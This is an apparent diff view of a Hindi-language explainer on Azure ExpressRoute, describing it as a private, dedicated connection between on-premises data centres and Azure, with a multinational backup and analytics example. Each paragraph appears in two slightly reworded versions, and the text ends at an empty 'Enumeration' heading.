Azure ExpressRoute एक सेवा है जो आपके ऑन-प्रिमाइसेस इन्फ्रास्ट्रक्चर और Azure डेटा सेंटर के बीच एक **निजी, समर्पित, उच्च-गति कनेक्शन** प्रदान करती है। यह कनेक्शन एक कनेक्टिविटी प्रदाता के माध्यम से बनाया जाता है, जो सार्वजनिक इंटरनेट को बायपास करता है और सामान्य इंटरनेट कनेक्शनों की तुलना में अधिक विश्वसनीयता, तेज गति, कम लेटेंसी और उच्च सुरक्षा प्रदान करता है।
|
||||
Azure ExpressRoute एक सेवा है जो आपके ऑन-प्रिमाइसेस इन्फ्रास्ट्रक्चर और Azure डेटा केंद्रों के बीच एक **निजी, समर्पित, उच्च-गति कनेक्शन** प्रदान करती है। यह कनेक्शन एक कनेक्टिविटी प्रदाता के माध्यम से बनाया जाता है, जो सार्वजनिक इंटरनेट को बायपास करता है और सामान्य इंटरनेट कनेक्शनों की तुलना में अधिक विश्वसनीयता, तेज गति, कम विलंबता और उच्च सुरक्षा प्रदान करता है।
|
||||
|
||||
**उदाहरण:**
|
||||
|
||||
एक बहुराष्ट्रीय निगम को **उच्च मात्रा के डेटा** और उच्च थ्रूपुट की आवश्यकता के कारण अपने Azure सेवाओं के लिए एक **संगत और विश्वसनीय कनेक्शन** की आवश्यकता होती है। कंपनी अपने ऑन-प्रिमाइसेस डेटा सेंटर को Azure से सीधे कनेक्ट करने के लिए Azure ExpressRoute का विकल्प चुनती है, जिससे बड़े पैमाने पर डेटा ट्रांसफर, जैसे दैनिक बैकअप और वास्तविक समय डेटा एनालिटिक्स, को बेहतर गोपनीयता और गति के साथ सुगम बनाया जा सके।
|
||||
एक बहुराष्ट्रीय निगम को **उच्च मात्रा के डेटा** और उच्च थ्रूपुट की आवश्यकता के कारण अपने Azure सेवाओं के लिए एक **सुसंगत और विश्वसनीय कनेक्शन** की आवश्यकता होती है। कंपनी अपने ऑन-प्रिमाइसेस डेटा केंद्र को Azure से सीधे कनेक्ट करने के लिए Azure ExpressRoute का विकल्प चुनती है, जिससे बड़े पैमाने पर डेटा ट्रांसफर, जैसे दैनिक बैकअप और वास्तविक समय डेटा एनालिटिक्स, को बेहतर गोपनीयता और गति के साथ सुगम बनाया जा सके।
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
|
||||
Reference in New Issue
Block a user